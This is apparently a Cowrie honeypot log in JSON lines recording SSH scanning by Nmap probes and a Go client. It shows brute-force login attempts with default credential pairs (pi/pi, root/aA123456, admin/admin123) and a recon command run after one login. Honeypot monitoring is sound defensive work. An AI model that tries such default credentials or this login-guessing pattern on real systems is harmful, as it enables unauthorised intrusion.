{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:05.150160Z","src_ip":"165.154.137.186","session":"ac9a26d78de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:05.984495Z","src_ip":"165.154.137.186","session":"ac9a26d78de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:07.244780Z","src_ip":"165.154.137.186","session":"ac9a26d78de7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.199.55.128","src_port":39316,"dst_ip":"10.17.0.5","dst_port":22,"session":"807a57b540d4","protocol":"ssh","message":"New connection: 104.199.55.128:39316 (10.17.0.5:22) [session: 807a57b540d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:19.195496Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Nmap-SSH1-Hostkey","message":"Remote SSH version: SSH-1.5-Nmap-SSH1-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:19.335357Z","src_ip":"104.199.55.128","session":"807a57b540d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:19.340229Z","src_ip":"104.199.55.128","session":"807a57b540d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.199.55.128","src_port":39328,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc0f11068c4a","protocol":"ssh","message":"New connection: 104.199.55.128:39328 (10.17.0.5:22) [session: fc0f11068c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:19.567928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:19.654453Z","src_ip":"104.199.55.128","session":"fc0f11068c4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-dss"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:19.728706Z","src_ip":"104.199.55.128","session":"fc0f11068c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:19.736757Z","src_ip":"104.199.55.128","session":"fc0f11068c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00209164619446,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:19.795408Z","src_ip":"94.23.66.112","session":"57a30eb88eb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.199.55.128","src_port":39332,"dst_ip":"10.17.0.5","dst_port":22,"session":"59a778de1f9f","protocol":"ssh","message":"New connection: 104.199.55.128:39332 (10.17.0.5:22) [session: 59a778de1f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:19.889193Z"}
{"eventid":"cowrie.session.closed","duration":30.73071265220642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:19.923812Z","src_ip":"23.249.25.236","session":"f5546740f404","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:20.026784Z","src_ip":"104.199.55.128","session":"59a778de1f9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:20.102433Z","src_ip":"104.199.55.128","session":"59a778de1f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:20.348323Z","src_ip":"104.199.55.128","session":"59a778de1f9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.199.55.128","src_port":39346,"dst_ip":"10.17.0.5","dst_port":22,"session":"952018ff9acc","protocol":"ssh","message":"New connection: 104.199.55.128:39346 (10.17.0.5:22) [session: 952018ff9acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:20.424289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:20.563428Z","src_ip":"104.199.55.128","session":"952018ff9acc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp256"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:20.639374Z","src_ip":"104.199.55.128","session":"952018ff9acc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:20.905410Z","src_ip":"104.199.55.128","session":"952018ff9acc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.199.55.128","src_port":39356,"dst_ip":"10.17.0.5","dst_port":22,"session":"244a00dd95d7","protocol":"ssh","message":"New connection: 104.199.55.128:39356 (10.17.0.5:22) [session: 244a00dd95d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:20.979379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:21.066546Z","src_ip":"104.199.55.128","session":"244a00dd95d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp384"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:21.140840Z","src_ip":"104.199.55.128","session":"244a00dd95d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:21.149655Z","src_ip":"104.199.55.128","session":"244a00dd95d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.199.55.128","src_port":39364,"dst_ip":"10.17.0.5","dst_port":22,"session":"c09e10437990","protocol":"ssh","message":"New connection: 104.199.55.128:39364 (10.17.0.5:22) [session: c09e10437990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:21.295415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:21.426228Z","src_ip":"104.199.55.128","session":"c09e10437990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp521"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:21.501566Z","src_ip":"104.199.55.128","session":"c09e10437990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:21.508312Z","src_ip":"104.199.55.128","session":"c09e10437990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.199.55.128","src_port":39368,"dst_ip":"10.17.0.5","dst_port":22,"session":"af1cea7f4d6a","protocol":"ssh","message":"New connection: 104.199.55.128:39368 (10.17.0.5:22) [session: af1cea7f4d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:21.657574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:21.791195Z","src_ip":"104.199.55.128","session":"af1cea7f4d6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-ed25519"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:21.867132Z","src_ip":"104.199.55.128","session":"af1cea7f4d6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58204,"dst_ip":"10.17.0.5","dst_port":22,"session":"c70cecbb2eaf","protocol":"ssh","message":"New connection: 165.154.137.186:58204 (10.17.0.5:22) [session: c70cecbb2eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:21.946566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:21.951498Z","src_ip":"165.154.137.186","session":"c70cecbb2eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:22.100975Z","src_ip":"104.199.55.128","session":"af1cea7f4d6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:22.216129Z","src_ip":"165.154.137.186","session":"c70cecbb2eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:22.997772Z","src_ip":"165.154.137.186","session":"c70cecbb2eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:24.263806Z","src_ip":"165.154.137.186","session":"c70cecbb2eaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57588,"dst_ip":"10.17.0.5","dst_port":22,"session":"8851a12c3e29","protocol":"ssh","message":"New connection: 165.154.137.186:57588 (10.17.0.5:22) [session: 8851a12c3e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:37.335939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:37.342620Z","src_ip":"165.154.137.186","session":"8851a12c3e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:37.588039Z","src_ip":"165.154.137.186","session":"8851a12c3e29","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:38.325158Z","src_ip":"165.154.137.186","session":"8851a12c3e29","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:38.881082Z","src_ip":"165.154.137.186","session":"8851a12c3e29","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:38.886105Z","src_ip":"165.154.137.186","session":"8851a12c3e29","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:39.134719Z","src_ip":"165.154.137.186","session":"8851a12c3e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:39.142165Z","src_ip":"165.154.137.186","session":"8851a12c3e29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57602,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d654187cf56","protocol":"ssh","message":"New connection: 165.154.137.186:57602 (10.17.0.5:22) [session: 4d654187cf56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:41.023449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:20:41.032868Z","src_ip":"165.154.137.186","session":"4d654187cf56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 